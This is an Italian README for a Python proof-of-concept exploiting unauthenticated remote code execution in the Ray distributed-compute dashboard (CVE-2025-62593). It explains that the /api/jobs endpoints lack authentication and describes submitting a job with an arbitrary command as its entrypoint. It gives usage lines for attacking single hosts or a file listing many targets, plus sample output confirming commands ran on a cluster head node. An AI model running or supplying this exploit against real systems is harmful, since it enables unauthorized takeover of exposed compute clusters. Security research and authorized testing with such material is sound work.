
PoC per CVE-2025-62593: RCE non autenticata in Ray (CISA KEV). Python solo stdlib.
Proof-of-concept per CVE-2025-62593, una vulnerabilità di esecuzione di codice remoto non autenticata nel motore di calcolo AI distribuito Ray, sfruttata tramite attacchi di DNS-rebinding basati su browser. È stata aggiunta al catalogo CISA Known Exploited Vulnerabilities (KEV) ed è attivamente sfruttata.
La causa principale è una decisione progettuale di lunga data del team di Ray di non eseguire alcuna autenticazione sugli endpoint HTTP critici come /api/jobs e /api/job_agent/jobs. Per questo motivo, un attaccante remoto non autenticato può inviare un Ray Job il cui entrypoint è un comando arbitrario, che viene poi eseguito sul nodo head del cluster — piena esecuzione di codice remoto.
Questo PoC interagisce direttamente con l'API HTTP del Ray Dashboard (non è necessario alcun browser/DNS-rebinding per dimostrare il bug sottostante) e recupera l'output del comando dai log del job.
POST /api/jobs/ con un entrypoint che esegue il tuo comando e cattura il suo stdout/stderr in un file temporaneo, poi stampa di nuovo il file.GET /api/jobs/ finché il job non raggiunge uno stato terminale.GET /api/jobs/<submission_id>/logs e stampa l'output del comando.# Single target
python3 ray_rce_poc.py --target http://HOST:8265
# Custom command
python3 ray_rce_poc.py --target http://HOST:8265 --command "id; uname -a"
# Multiple targets from a file (one per line, '#' = comment)
python3 ray_rce_poc.py --targets targets.txt --command id
# Write a JSON summary
python3 ray_rce_poc.py --target http://HOST:8265 --output out.json
# Help
python3 ray_rce_poc.py --help
Richiede solo la stdlib di Python 3 — nessuna dipendenza di terze parti.
$ python3 ray_rce_poc.py --target http://localhost:8265 --command "id; hostname"
== http://localhost:8265
Running entrypoint for job raysubmit_XXX: python -c "import os,os.path; ..."
uid=1000(ray) gid=100(users) groups=100(users),27(sudo)
05cdb1bea437
=> PASS (RCE confirmed, status: SUCCEEDED, exit code: 0)
Solo per ricerca sulla sicurezza e test autorizzati. Utilizzalo esclusivamente contro sistemi di tua proprietà o per i quali hai esplicito permesso di testare. L'autore non è responsabile per un uso improprio.